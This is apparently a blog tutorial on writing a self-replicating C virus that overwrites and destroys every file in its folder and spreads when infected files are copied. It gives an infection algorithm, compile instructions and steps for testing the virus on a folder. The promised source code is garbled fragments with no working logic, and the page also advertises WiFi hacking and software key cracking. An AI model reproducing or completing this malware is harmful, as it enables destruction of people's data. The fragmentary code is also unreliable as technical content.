How to Make a Virus using C in 2018 – Gadget Teacher

How to Make a Virus using C in 2018

How to make a Virus
Written by Gadget Teacher

This program is a good example of how to make a computer virus. This program shows a very simple virus application that when executed creates a copy of itself in all the other files which are present in same directory. This Virus has been Made in c++

This virus file will destroy all other files by infecting them . It will destroy only those files which are in same directory with this file. The file that is infected will grow to be a virus that once run or executed, is capable of spreading the infection to all the other files in the same folder and computer of the person.

Below is this virus program’s source code:


The virus program’s algorithm would be as follows:

  • #include<stdio.h>
  • FILE *virus,*host;
    int done,a=0;
    unsigned long x;
    char buff[2048];
    struct ffblk ffblk;
    clock_t st,end;
  • void main()
    if(host==NULL) goto next;
    printf(“Infecting %s\n”,ffblk.ff_name,a);
    printf(“DONE! (Total Files Infected= %d)”,a);
    printf(“TIME TAKEN=%f SEC\n”,


      Also Learn How to Hack Wifi Using InstaBridge App in 2017


How to make a Virus

How to Make a Virus

Steps on How to Make a Virus : Latest Method 2017

Below is the Logic of the Above Source Code –

Step-1: The source code will Look for other documents in the present directory (The folder in which file has been saved in Hard disk) . If one or more files are present, load the initial file (target main file).


Step-2: Load the backup of the virus itself on the memory.


Step-3: Open the Target file and copies the Virus Source Code from the Memory to the Target File . Then, the code Closes the Target File. 


Step-4: Load another file to infect and proceed into the step-3. Once all the Files have Been Infected, Close all the Files .

This is not a Line by Line Explanation of the Source Program but anyone with a Good and Basic Knowledge of C++ would be able to guide you with this code , though it seems easy.

To Compile this Program you need to install Turbo C . You can also Learn on how to Compile a C++ program here .


How to Test The Virus after Making it

  • Create a new folder.
  • Place some executable files (or some other files) from the folder.
  • Run the PC_Virus.exe file. With in a couple of seconds all the documents in the folder would be infected and Destroyed.
  • Now every other file in that folder or Directory is a virus and can be re infected , this means that when you copy that file in any other Folder , all the Files in that Particular Folder would also get destroyed . You can Test it by Creating new Folder and Files .


VERY IMPORTANT NOTE ON HOW TO MAKE A VIRUS : The Files that have been infected by this virus have been destroyed entirely and they cannot be recovered , hence always try this on a New Folder and only those files which are of no use to you or are test files , should only be Placed in that Test Folder.

Kindly Do not Hurt anyone by using This Knowledge. Someone or even you can Lose some Important Files or Documents by using this in a Wrong way.

How to Get key to Any Software using 94FBR 

About the author

Gadget Teacher

Leave a Comment